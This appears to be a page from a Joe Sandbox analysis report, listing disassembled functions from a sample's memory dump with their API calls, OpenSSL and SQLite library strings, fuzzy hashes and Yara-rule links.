Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\engine\eng_dyn.c$dynamic_get_data_ctx$dynamic_set_data_ctx
API String ID: 3906573944-1236403193
Opcode ID: 1f176e0b7a90e3024b1d27685aee01cf85e908a8290bb2ced2efeafbfafbf5ee
Instruction ID: 30462f01f1467ef0a8a7a50f6837db767a16edc8bbeb02163988cd0e4dcfb9ef
Opcode Fuzzy Hash: 1f176e0b7a90e3024b1d27685aee01cf85e908a8290bb2ced2efeafbfafbf5ee
Instruction Fuzzy Hash: 20316E7AE4031167E230DB606C47F0B3599FB817A4F110531FE0DAA297FE65F424D2A6

Function 1007AD70 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007AD99
__fprintf_l.LIBCMT ref: 1007AE0B

Strings

engine_list_add, xrefs: 1007AD80, 1007ADF4, 1007AE42, 1007AE68, 1007AEB7
crypto\engine\eng_list.c, xrefs: 1007AD87, 1007ADFB, 1007AEBE

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\engine\eng_list.c$engine_list_add
API String ID: 3906573944-360260143
Opcode ID: cd6c939e592e9afa3b2a1c27dca9fcf3c57c8e1d2acf776f871db17653b63c3e
Instruction ID: b02a409666c18eac0a74eee2cca5ba3f4959cbe9c1f9f5c9e84e3149decec118
Opcode Fuzzy Hash: cd6c939e592e9afa3b2a1c27dca9fcf3c57c8e1d2acf776f871db17653b63c3e
Instruction Fuzzy Hash: D7416A74744341AAD720DFB8AC05B4A77D1EFC3321F114619F5C9DA2C1DB7AA884C68A

Function 10076DE0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 105COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10076EFC
__fprintf_l.LIBCMT ref: 10076F3D

Strings

crypto\evp\evp_rand.c, xrefs: 10076EE9, 10076F2A
max_request, xrefs: 10076E04
evp_rand_generate_locked, xrefs: 10076EDF, 10076F20

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\evp_rand.c$evp_rand_generate_locked$max_request
API String ID: 3906573944-812122572
Opcode ID: 3eef397672ffcfda3de02c092dc1136c087d24d77fa18e283781233765f28a27
Instruction ID: edcecf374b89b08b732c115c0fff2d35ff309a7b76132fd494149bc8e4c30921
Opcode Fuzzy Hash: 3eef397672ffcfda3de02c092dc1136c087d24d77fa18e283781233765f28a27
Instruction Fuzzy Hash: B631B275208304AFE350CF58DC45B5BB7E4FF89744F404918F98C9B281E77AE9189B56

Function 1007FCB0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 103COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007FDB7

Part of subcall function 1007FE60: __fprintf_l.LIBCMT ref: 1007FEA3

__fprintf_l.LIBCMT ref: 1007FD29

Strings

DSO_load, xrefs: 1007FDA2
crypto\dso\dso_lib.c, xrefs: 1007FD19, 1007FD40, 1007FD59, 1007FDA8
DSO_set_filename, xrefs: 1007FD0F

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_load$DSO_set_filename$crypto\dso\dso_lib.c
API String ID: 3906573944-2564273300
Opcode ID: 3e38b6a660a8c6d11c12f58b94a20ef33c5c960ae8fbd81eedc10a37db974c98
Instruction ID: 90f8dd63120905afd7c7cfea539c8a49ff08acabde6ceda15c6e511e0399e5ed
Opcode Fuzzy Hash: 3e38b6a660a8c6d11c12f58b94a20ef33c5c960ae8fbd81eedc10a37db974c98
Instruction Fuzzy Hash: 9631097564070AABD220DA50DC45FABB3E5FF40390F01892CF9C8A7141E769FD19969A

Function 1006D130 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1006D16B
__fprintf_l.LIBCMT ref: 1006D19F

Strings

crypto\bn\bn_lib.c, xrefs: 1006D15B, 1006D18F, 1006D1BD, 1006D1CF, 1006D210, 1006D22F
bn_expand_internal, xrefs: 1006D151, 1006D185

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: bn_expand_internal$crypto\bn\bn_lib.c
API String ID: 3906573944-4271053188
Opcode ID: 709f73a31883192865c42f1a22cdaae2e2ce0bc47adcb28ae78dbe6dbbd7670d
Instruction ID: 5928cf0822b76fafb4f1d1fdf14cf57d21b49c15c63e45cb499b198e083c7f6d
Opcode Fuzzy Hash: 709f73a31883192865c42f1a22cdaae2e2ce0bc47adcb28ae78dbe6dbbd7670d
Instruction Fuzzy Hash: A6210B75B4030536E320EF68AC53F9773D5EF92792F24092EFA85E6192D3B0F8548291

Function 1005E6D0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 79COMMON

Download Yara Rule

Strings

crypto\engine\eng_init.c, xrefs: 1005E758, 1005E79B
ENGINE_finish, xrefs: 1005E794
engine_unlocked_finish, xrefs: 1005E751

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: ENGINE_finish$crypto\engine\eng_init.c$engine_unlocked_finish
API String ID: 0-1149166950
Opcode ID: 67de4131fef5bf6d2c5be32ad502a9eecbf4847808b1e22fce6505a900fb7774
Instruction ID: 8ff01b625430caeac3bf67c56a95b052c1cd16a0ce4972af760578db5afc7ecd
Opcode Fuzzy Hash: 67de4131fef5bf6d2c5be32ad502a9eecbf4847808b1e22fce6505a900fb7774
Instruction Fuzzy Hash: 11218C3DB0836123D154F725BC42B4E32C6EB967A0F054420FE8CA5292FF22BD19F556

Function 1006E0F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1006E11A
__fprintf_l.LIBCMT ref: 1006E14D

Strings

OPENSSL_sk_insert, xrefs: 1006E0FE, 1006E133
crypto\stack\stack.c, xrefs: 1006E108, 1006E13D

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OPENSSL_sk_insert$crypto\stack\stack.c
API String ID: 3906573944-3688629665
Opcode ID: 6342e41207364a24c5d8026d7638f412cf3a486199f1100cdd896081e029af07
Instruction ID: f5ef55d6c4827d7f6529f3aa7ca2ce2c511286cdc25eaf9a6eabfc8619a8333a
Opcode Fuzzy Hash: 6342e41207364a24c5d8026d7638f412cf3a486199f1100cdd896081e029af07
Instruction Fuzzy Hash: 9C21D275204751AFD360DF68FC42F8A73E2EF81710F254928F5D8EB282EB70B8459692

Function 100824E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

crypto\thread\arch\thread_win.c, xrefs: 100824E6, 10082500, 1008251A, 10082587

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: crypto\thread\arch\thread_win.c
API String ID: 0-2915021490
Opcode ID: a4f211d660c42d7395be33dc7ee57286ca5ccd4c192ca34fc22add6f04611f82
Instruction ID: cec0eea6c37606171c6e950424c9a5816fbb818744ae6e7be0c0011606ce72cd
Opcode Fuzzy Hash: a4f211d660c42d7395be33dc7ee57286ca5ccd4c192ca34fc22add6f04611f82
Instruction Fuzzy Hash: 83115E35740B21B6E360DB657C06FCB76D0EF90710F014616F5969A2C1DBF0B54547D1

Function 1007AEE0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 10067370: AcquireSRWLockExclusive.KERNEL32(?,?,1007ABE6,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067376

__fprintf_l.LIBCMT ref: 1007AF3A
__fprintf_l.LIBCMT ref: 1007AF5E

Strings

crypto\engine\eng_list.c, xrefs: 1007AF2A, 1007AF4E
engine_list_remove, xrefs: 1007AF20
ENGINE_remove, xrefs: 1007AF44

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l$AcquireExclusiveLock
String ID: ENGINE_remove$crypto\engine\eng_list.c$engine_list_remove
API String ID: 1653626913-1252335875
Opcode ID: 2bfb18504c30a3a5d0d805a4c0ae958ff1ab32c5db48da07eb820f9295fc6dbf
Instruction ID: 026e8fdc85685774f264d81b9e8d796942ab68c32fd7e1afaa0ff59dda793d34
Opcode Fuzzy Hash: 2bfb18504c30a3a5d0d805a4c0ae958ff1ab32c5db48da07eb820f9295fc6dbf
Instruction Fuzzy Hash: 372193B8741321AFD720EB90DD81B1A33D5EB87B40F014528F8C8DB351DB75B880D65A

Function 1007A7B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007A7E0
__fprintf_l.LIBCMT ref: 1007A836

Strings

crypto\engine\eng_list.c, xrefs: 1007A7CE, 1007A826, 1007A862
ENGINE_add, xrefs: 1007A7C4, 1007A81C, 1007A858

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: ENGINE_add$crypto\engine\eng_list.c
API String ID: 3906573944-3225708527
Opcode ID: 4eb3e9788a8e36d55635517b2f9dfd061d4ab0984fa8836071d53883314f5bf0
Instruction ID: 7edb51bbd45eba9430511335a853f2250c1446d16338aaf3a80ac4c2470a5eee
Opcode Fuzzy Hash: 4eb3e9788a8e36d55635517b2f9dfd061d4ab0984fa8836071d53883314f5bf0
Instruction Fuzzy Hash: A611C83DA8421171E160E2A5BC07F9B2181DBC3754F054520FA8DA91D3EE557599D05B

Function 1007F980 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007F9B8
__fprintf_l.LIBCMT ref: 1007F9ED
__fprintf_l.LIBCMT ref: 1007FA1A

Strings

DSO_bind_func, xrefs: 1007F99E, 1007F9D3, 1007F9FD
crypto\dso\dso_lib.c, xrefs: 1007F9A8, 1007F9DD, 1007FA07

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_bind_func$crypto\dso\dso_lib.c
API String ID: 3906573944-2281110185
Opcode ID: d577d8c69255b2c48e401cf477f1bfb589d6e48b45b6b895e052ceaee2851f1b
Instruction ID: cbd338647da262604b8dc94717b167604cf760df2df7c7ac919391d15a1992d5
Opcode Fuzzy Hash: d577d8c69255b2c48e401cf477f1bfb589d6e48b45b6b895e052ceaee2851f1b
Instruction Fuzzy Hash: 1B014BA878064335F110F668AC47F2BA190EB41B45F508A0CBB98BA1C3EA61F619A01B

Function 1006E3C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1006E3EA

Strings

i=%d, xrefs: 1006E435
crypto\stack\stack.c, xrefs: 1006E3D7, 1006E42A
OPENSSL_sk_set, xrefs: 1006E3CD, 1006E420

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OPENSSL_sk_set$crypto\stack\stack.c$i=%d
API String ID: 3906573944-10064221
Opcode ID: 8324c21a02e7839c4e05d1a77f48c3bc954daf600999b7cc353f78d7fc6cacf4
Instruction ID: 0c5a4bbba3bbfc5480a1fe8d0d47464e5d7af6f0644b5998cbb50dbee8cb5a2e
Opcode Fuzzy Hash: 8324c21a02e7839c4e05d1a77f48c3bc954daf600999b7cc353f78d7fc6cacf4
Instruction Fuzzy Hash: AF018138644361AAD610EF28AC47FDB76A0FF02B10F558544F998AB283D770FC459696

Function 10078090 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100780CE
__fprintf_l.LIBCMT ref: 100780F9

Strings

crypto\conf\conf_lib.c, xrefs: 100780BE, 100780DE
NCONF_get_string, xrefs: 100780B2
group=%s name=%s, xrefs: 100780F0

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: NCONF_get_string$crypto\conf\conf_lib.c$group=%s name=%s
API String ID: 3906573944-112008449
Opcode ID: 5451f131e9785d3a5ff0ea7aaeaee77a7e0b9397b371a42dbf6653a51bff9ea6
Instruction ID: 6f40dab68145932835846c0e07335e64ccf95ba8b5828530a304a06fe574d2e4
Opcode Fuzzy Hash: 5451f131e9785d3a5ff0ea7aaeaee77a7e0b9397b371a42dbf6653a51bff9ea6
Instruction Fuzzy Hash: B9F0A73968430279E610A6B0AD47F9BB691EF65741F008914F78CA80D2EFB2A17CE657

Function 1006A9A0 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 286COMMONLIBRARYCODE

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000000,?,?,?,?,?,?,00000001,?,?,?,?,?,?,ENGINE_get_first,?), ref: 1006AAB4
memmove.VCRUNTIME140(00000000,?,?,?,?,?,?,00000001,?,?,?,?,?,?,ENGINE_get_first,?), ref: 1006ABA3
memmove.VCRUNTIME140(00000000,?,?,?,?,?,?,00000001,?,?,?,?,?,?,ENGINE_get_first,?), ref: 1006AC86

Strings

<NULL>, xrefs: 1006A9AE, 1006A9D1
crypto\bio\bio_print.c, xrefs: 1006AA89, 1006AAC9, 1006AB78, 1006ABB8, 1006AC63, 1006AC9B

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove
String ID: <NULL>$crypto\bio\bio_print.c
API String ID: 2162964266-2046202334
Opcode ID: ae51903fe80c4aeb5928d2377e76ca888871a4636280b1fa74e37df2b8cfb667
Instruction ID: 15459bd7be9c04ad99d02b5e7deb3003222175be08127f45010020b945f2e6f1
Opcode Fuzzy Hash: ae51903fe80c4aeb5928d2377e76ca888871a4636280b1fa74e37df2b8cfb667
Instruction Fuzzy Hash: 0CA17B746043429BDB44EF2AC990B2A77E6FF963A4F25092DF885D7241E731D890CF62

Function 100677A0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,10078C46,?,?,?,?,?,?,?,00000000,00000000), ref: 100677AC
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,00000000), ref: 100677BA
SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,00000000), ref: 100677C3

Strings

assertion failed: ret >= 0, xrefs: 10067849
crypto\threads_win.c, xrefs: 10067844

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ErrorLast$Value
String ID: assertion failed: ret >= 0$crypto\threads_win.c
API String ID: 1883355122-2579572656
Opcode ID: 6cbf5abc10c0a950b5de0ea93198d90ca32889d168c44790c3872c44657f2f22
Instruction ID: 7b244015b2be331d4c971891ffebdc9724eee942cd3389ae1d5ee1e8bcc60b5d
Opcode Fuzzy Hash: 6cbf5abc10c0a950b5de0ea93198d90ca32889d168c44790c3872c44657f2f22
Instruction Fuzzy Hash: CE212036600211CFCB10DF18DC88A5AB7A6FFC9720F154169E90997311FB35AC19CBD2

Function 1006A6C0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 261COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 1006A7B7

Strings

+, xrefs: 1006A752
0123456789abcdef, xrefs: 1006A79A
0123456789ABCDEF, xrefs: 1006A79F

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __aulldvrm
String ID: +$0123456789ABCDEF$0123456789abcdef
API String ID: 1302938615-1078175416
Opcode ID: 6ca090cdaca9094e2fe3c0212f08c9ef19fc2db0f70e077e29a5b9afd7c195ff
Instruction ID: 6c4f434d063924a275ebc8dcac96572b0a04cac2f8348a2ea43d965c49be7e67
Opcode Fuzzy Hash: 6ca090cdaca9094e2fe3c0212f08c9ef19fc2db0f70e077e29a5b9afd7c195ff
Instruction Fuzzy Hash: 8D81D2716083119FD700DE2A898171BB7E6EFCA784F51492CF889D3252EB35DC458FA2

Function 1009F420 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1009F4AF

Strings

ossl_property_string, xrefs: 1009F492, 1009F508
crypto\property\property_string.c, xrefs: 1009F49C, 1009F512, 1009F56F, 1009F5B5, 1009F629

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\property\property_string.c$ossl_property_string
API String ID: 3906573944-239946531
Opcode ID: 66168feb2300927a5850ad0076fd55907b7a9750c43f4538c93bb49c81934ea3
Instruction ID: 2e35d5226810c4b3345254242e55c0b3fab39431d65f48974ab9f88a7f982f9e
Opcode Fuzzy Hash: 66168feb2300927a5850ad0076fd55907b7a9750c43f4538c93bb49c81934ea3
Instruction Fuzzy Hash: 5161D27A600742ABD700EF659C82B6FB3E4FF48354F450529F94C86242EB65FA24DB92

Function 1007E5A0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007E5DE

Strings

ossl_decoder_ctx_for_pkey_dup, xrefs: 1007E5C2, 1007E759
crypto\encode_decode\decoder_pkey.c, xrefs: 1007E5CC, 1007E67E, 1007E6AE, 1007E75F, 1007E77F, 1007E79E

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\encode_decode\decoder_pkey.c$ossl_decoder_ctx_for_pkey_dup
API String ID: 3906573944-2970143777
Opcode ID: c5373bd02af97609fbdf5448f10af1e2071037ee900bae8066318f0801853799
Instruction ID: 16ef90d852aaeec26f1d75455fd8fc4491254f776eae25707e57a05283a804b8
Opcode Fuzzy Hash: c5373bd02af97609fbdf5448f10af1e2071037ee900bae8066318f0801853799
Instruction Fuzzy Hash: B041F679A0538567D610EBA1BC81F6B3298EB19790F00C434FD88EA243F719FD14D26A

Function 10235100 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 164COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 10235206

Strings

96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 1023527C
%s at line %d of [%.10s], xrefs: 1023528B
database corruption, xrefs: 10235286

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ExceptionRaise
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$database corruption
API String ID: 3997070919-3771113395
Opcode ID: 305c1730886e1d4eaa6ccc1cf43a3315359c7cb5095802e2ebe783b06fe901ff
Instruction ID: ea461eb93bade5d0d553e334cb4b01278657cd4a50733833e8cf157a9792b08c
Opcode Fuzzy Hash: 305c1730886e1d4eaa6ccc1cf43a3315359c7cb5095802e2ebe783b06fe901ff
